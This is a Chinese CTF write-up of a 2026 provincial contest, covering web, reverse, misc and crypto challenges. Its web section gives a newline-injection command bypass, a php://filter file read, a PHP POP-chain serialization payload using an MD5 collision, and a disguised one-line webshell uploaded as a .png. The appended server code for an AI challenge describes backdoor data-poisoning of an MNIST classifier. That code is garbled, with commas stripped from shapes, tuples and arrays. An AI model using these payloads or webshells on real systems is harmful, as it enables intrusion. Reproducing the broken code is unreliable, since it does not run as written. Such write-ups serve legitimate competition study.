2026河北省赛WriteUp

作者:ljnljn学习之路 发布:2026-09-20 23:03 收录:2026-09-21 08:45 2 次阅读 约 2511 字
摘要:比赛本地或联网大模型都不让用,但是可以联网搜索资料,最后全是手搓的
推荐理由:本文围绕「大模型」、「CTF」、「MD5」等主题展开。

简单介绍

比赛本地或联网大模型都不让用,但是可以联网搜索资料,最后全是手搓的 感觉上和24年我打ctf的时候差不多,那时候真是一片欣欣向荣,现在嘛。。。

复赛(选拔赛)

因为只用前一半就能进下午决赛所以随便打了打

Web

md5

网上搜个脚本就行

import hashlib
 
def getMd5(index):
    """
    函数用于在指定整数范围内查找一个整数,使得该整数转换为字符串后计算出的MD5值的前6位与传入的index参数匹配,若找到则返回该整数,若没找到返回None。
    :param index: 用于匹配MD5值前6位的目标字符串
    :return: 满足条件的整数或者None(表示没找到匹配的值)
    """

    for i in range(100000100000000):
        num = i
        try:
            md5 = hashlib.md5(str(num).encode("utf8")).hexdigest()
            if md5[0:6] == index:
                return num
        except Exception as e:
            print(f"计算MD5值时出现异常: {e}")
            continue
    return None
 
 
if __name__ == "__main__":
    result = getMd5("e9adf7")
    if result is None:
        print("没有找到满足条件的整数")
    else:
        print("找到的整数为:", result)

进去之后用%0a换行绕过就行,然后tac flag.php

answer

捉迷藏

eval(
    function(p,a,c,k,e,d)
{   e=function(c)
    {
        return c
    };
    if(!''.replace(/^/,String))
    {
        while(c--){d[c]=k[c]||c}
        k=[function(e){return d[e]}];
        e=function(){return'\\w+'};
        c=1
    };
    while(c--)
    {
        if(k[c])
            {
                p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
            }
        }
        return p
    }
('1.2="3=0";',4,4,'|document|cookie|check'.split('|'),0,{}))

把 eval 删掉,看输出,是 document.cookie="check=0";,把 check 改成 1,没用,再用 dirsearch 扫,扫出 /index.php,带着这个 cookie 就可以拿到 flag

Reverse

美国队长

ida打开搜string发现flag

直接提交发现是错的,交叉引用发现异或

exp如下,得到flag:{NSCTF_md50b7dfc60761e798328a0d9793f96d4f7}

#include<bits/stdc++.h>
using namespace std;
int main()
{
        char Destination[100]="flag:{NSCTF_md57e0cad17016b0>?45?f7c>0>4a>1c3a0}";
        char *i;
        for ( i = &Destination[15]; *i != 125; ++i )
    *i ^= 7u;
    cout<<Destination;
    return 0;
}

Misc

easystego

binwalk文件分离

提取之后的zip是伪加密

修复就可以获得flag

yummy

摩斯密码

解密提示密码是8位数字,爆破

隐藏了flag

栅栏密码解密

把f1ag改成flag就是答案

决赛

yummy因为只有我们一个队解出来了所以又放到下午了(好奇怪的方式)

Web

签到

有一个 Base64

解码就是 flag

easy_pop

两位Web神队友做出来的,真的厉害

根据 https://blog.drinkflower.asia/wordpress/archives/383#%E8%A7%A3%E6%B3%951-md5%E7%A2%B0%E6%92%9E%2B%E5%AD%97%E7%AC%A6%E6%88%AA%E5%8F%96[1] 的 WP,生成 payload 读取 hint.php

先用 fastroll 生成包含以下 payload 的 md5 碰撞的 payload,变成文件

php://filter/yy/read=convert.base64-encode/resource=hint.php

再读取

$q=new V; 
$q->sun=new K; 
$q->sun->code=new C; 
$q->sun->code->thur=new F; 
$q->sun->code->thur->var1=file_get_contents("1_msg1.txt"); 
$q->sun->code->thur->var2=file_
get_contents("1_msg2.txt"); 
echo urlencode(serialize($q));

发现有个 uploadkfc.php

上传一个后台,直接改名为 22222222222222222222222222222222222.png

<?php $a='s'.'y'.'s'.'t'.'e'.'m'; ($a)('ls'); ?>

再发送 crazy=

O%3A1%3A%22V%22%3A1%3A%7Bs%3A3%3A%22sun%22%3BO%3A1%3A%22K%22%3A2%3A%7Bs%3A4%3A%22code%22%3BO%3A1%3A%2 2C%22%3A1%3A%7Bs%3A4%3A%22thur%22%3BO%3A1%3A%22F%22%3A2%3A%7Bs%3A4%3A%22var1%22%3Bs%3A192%3A%22%2Fvar %2Fwww%2Fhtml%2Fupload%2F22222222222222222222222222222222222.pngaaa%00I%CC%BB%29%C1%D3%89_%60%8A%15%A F%C2%88%F0%088%B9k%15%80%CDT%FF7%C2%3F%8E%F2%0D%B5%BA%21%D6%FC%D9P%C4%C79o%3E%BDy%40%D2%A5HS5%A91%82% 92TI%B2Y%C6%5B%87%1A%ABq%D0jf%C4%82%95%E0%87%11%A3u%FFK%AE%09%5ET%A7%BA%1A%1Bx%21%21%D1%5B%F4%C8%D9%2 8%7D%1E3Q%96%02%3C%F4r%60%B3o%D5%CF%87%DDP%28%9F%2B%FD%8BS%8C%BB%86H%2A%A2tML%01y%22%3Bs%3A4%3A%22var 2%22%3Bs%3A192%3A%22%2Fvar%2Fwww%2Fhtml%2Fupload%2F22222222222222222222222222222222222.pngaaa%00I%CC% BB%29%C1%D3%89_%60%8A%15%AF%C2%88%F0%088%B9k%95%80%CDT%FF7%C2%3F%8E%F2%0D%B5%BA%21%D6%FC%D9P%C4%C79o% 3E%BDy%40R%A6HS5%A91%82%92TI%B2Y%C6%DB%87%1A%ABq%D0jf%C4%82%95%E0%87%11%A3u%FFK%AE%09%5ET%A7%BA%9A%1B x%21%21%D1%5B%F4%C8%D9%28%7D%1E3Q%96%02%3C%F4r%60%B3o%D5%CF%87%5DP%28%9F%2B%FD%8BS%8C%BB%86H%2A%A2%F4 ML%01y%22%3B%7D%7Ds%3A8%3A%22%00K%00code2%22%3BN%3B%7D%7D 

就可以了

Misc

20201116_shadow

先生成个密码表

for i in range(1900,2027):   
    for j in range(1,13):    
        for k in range(1,32):  
            print("FLAG",end="")
            print(i,end="")    
            print('%02d'%j,end="")   
            print('%02d'%k)

然后hashcat爆破即可

《铲子行动》

不得不说lovelyspark真好用 用工具爆破密码

解密后发现jwt

密码在jwt中

然后看到ftp传输了三个zip

全部打包下载解压获得flag

huahua

huahua是一个简单的图片宽高隐写藏flag题 附件中的 PNG 丢失了文件签名的前四个字节,先通过png尾和题目直接给的png文件后缀判断出,应该是少了png头

补上去发现图片能打开了

这个时候直接丢随波逐流拿到flag

flag{b3afc91a8fbb6cc798bdeb253b02550}

Crypto

RSA的新亡

因为:25^e = (5^e)^2,125^e = (5^e)^3

所以:x^2 - y 是 n 的倍数,x^3 - z 是 n 的倍数

因此:n = gcd(x*x - y, x*x*x - z)

n = 3394436873838074810978269 

p = 1607692087117 

q = 2111372507857

接着根据x = 5^e mod n分别在模 p 和模 q 下求离散对数,再 CRT 合并,得到e = 4133205873001

然后正常 RSA 解密:

第二题是背包问题,根据 https://blog.csdn.net/XiongSiqi_blog/article/details/132109655[2] 写出脚本:

import ast
import re
import sympy as sp
from Crypto.Util.number import long_to_bytes

with open("public.key", "r") as f:
    w = ast.literal_eval(f.read())

with open("flag.enc", "r") as f:
    enc = int(re.search(r"\d+", f.read()).group())

n = len(w)

rows = []
for i, a in enumerate(w):
    row = [0] * (n + 1)
    row[i] = 1
    row[-1] = a
    rows.append(row)

row = [0] * (n + 1)
row[-1] = enc
rows.append(row)

M = sp.Matrix(rows)
L = M.lll()

for r in L.tolist():
    if r[-1] == 0:
        for sign in (1, -1):
            v = [sign * x for x in r[:-1]]
            if all(x in (0, 1) for x in v):
                if sum(a * b for a, b in zip(w, v)) == enc:
                    bits = "".join(map(str, v))
                    m = int(bits, 2)
                    print(long_to_bytes(m))

小结

好久没打过这么酣畅淋漓的比赛了,自己手搓做题的成就感真不是AI乱杀能表现出来的,真是有点感慨,才两年感觉自己就要被优化了,现在上下的压力其实都蛮大的,不仅是希望自己能扛下来,也希望学弟学妹们不要对AI太过于依赖,手上有技术肯定比没有强 

题目附件下载

文件都不大,用蓝奏了 https://ljnljn.lanzouu.com/b01gibp8lc
密码:5wyv 

一键下载:https://ljnljn.lanzouu.com/iW2uU49ba9kj

AI题服务端代码:

import numpy as np
import base64
import random
from base64 import b64decode, b64encode
import tensorflow as tf
import time
import warnings

warnings.filterwarnings("ignore")
# from shadow import THRESHOLD_L_0, THRESHOLD_L_1, THRESHOLD_L_2, THRESHOLD_L_INF
from utils import load_mnist_small

(x_train, y_train), (x_test, y_test), _, _ = load_mnist_small()
_sample = 9  # only attack 9 ; reduce your fail rate !

random.seed(time.time())
# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
import socketserver

solid_model = tf.keras.models.load_model("model.h5")


def get_l_norm(data):
    assert data.shape.__len__() == 4
    linf = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=np.Inf, axis=1))
    l0 = len(np.where(np.abs(data) > 0.0)[0]) / data.shape[0]
    l1 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=1, axis=1))
    l2 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=2, axis=1))
    return l0, l1, l2, linf


def get_data(data):
    buffer = data.tobytes()
    return b64encode(buffer)


def load_data(bb64_buffer, FIG_NUMBER=1):
    """
    :param bb64_buffer: user input buffer
    :param FIG_NUMBER: group of reshape data
    :return:
    """

    try:
        patch = np.frombuffer(b64decode(bb64_buffer), dtype=np.float64)
        patch = patch.reshape(FIG_NUMBER, 28281)
        print("data load pass")
        return patch
    except Exception as e:
        print(e)
        print("No Hack ! BAD BUFFER")
        return False


def check_is_source(a, b):
    """
    judge whether a
    a.shape (1,28,28,1)
    b.shape (N,28,28,1)
    check if a is from b

    :param a:
    :param b:
    :return: True if same , False if not same
    """

    return not (a == b).all(axis=(123)).any()


def load_data_trunk(i, n=1):
    """
    :return:
    """

    x = np.frombuffer(b64decode(i), dtype=np.float32)
    print(n)
    x = x.reshape((n, 28281))
    return x


from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dropout, Flatten, Dense
from tensorflow.keras import Sequential


def load_model():
    model = Sequential()
    model.add(Conv2D(32, kernel_size=(33), activation='relu', input_shape=(28281)))
    model.add(Conv2D(64, (33), activation='relu'))
    model.add(MaxPooling2D(pool_size=(22)))
    model.add(Dropout(0.25))
    model.add(Flatten())
    model.add(Dense(128, activation='relu'))
    model.add(Dense(10, activation='softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='adam')
    return model


def get_model_test_acc(model):
    clean_preds = np.argmax(model.predict(x_test), axis=1)
    clean_correct = np.sum(clean_preds == np.argmax(y_test, axis=1))
    clean_total = y_test.shape[0]
    clean_acc = clean_correct / clean_total
    return clean_acc


Y_EXTEND = np.array([[0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.],
                     [0.0.0.0.0.0.0.0.0.1.]], dtype=np.float32)  # 9


def check_is_nine(x, model=None):
    if model is None: model = solid_model
    res = np.argmax(model.predict(x), axis=1)
    return set(res) == {9}


def check_is_eight(x, model=None):
    if model is None: model = solid_model
    res = np.argmax(model.predict(x), axis=1)
    return set(res) == {8}


import flask
import os
from flask import session, request
import time

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
MAX_DELAY_TIME = 360


@app.route('/')
def read():
    return open("main.py").read()


@app.route('/start', methods=('GET',))
def start():
    session['start'] = True
    session['timestamp'] = int(time.time())
    return 'show me 10 figures , they must be recognized as 8 ! "input x data use np.tobytes() function! it will be reshape to (1,784)"'


@app.route('/evaluate', methods=('POST',))
def evaluate():
    if not session['start']: return ""
    if (int(time.time()) - session['timestamp']) >= MAX_DELAY_TIME: return ""

    x_extend = load_data_trunk(request.form.get("fig_buffer"), n=10)
    x_extend_test = load_data_trunk(request.form.get("hack_buffer"), n=1)

    if not check_is_eight(x_extend):
        return "they are not all 8 ! please inform me later"

    # "nice job ! I will extend my dataset , thank you ! please wait for some moment"
    new_model = load_model()
    new_model.fit(np.append(x_train, x_extend, axis=0), np.append(y_train, Y_EXTEND, axis=0),
                  epochs=5, batch_size=8, verbose=0)

    if get_model_test_acc(new_model) <= 0.9399:
        return "Oops , you mustn't make test acc down !"

    if not check_is_nine(x_extend, model=new_model):
        return "Oops , you must send wrong data !"
    else:
        #  "nice job ! I think you inject your backdoor , comme on !"
        if check_is_eight(x_extend_test) and check_is_nine(x_extend_test, model=new_model):
            return "nince job ! here is your flag " + base64.b64encode(open('flag''rb').read()).decode()
        else:
            return 'I cannnot found the difference of 8 and 9 in these two models'


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=20006)

转载声明:本文转载自原发布平台 (作者:ljnljn学习之路), 原文标题《2026河北省赛WriteUp》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。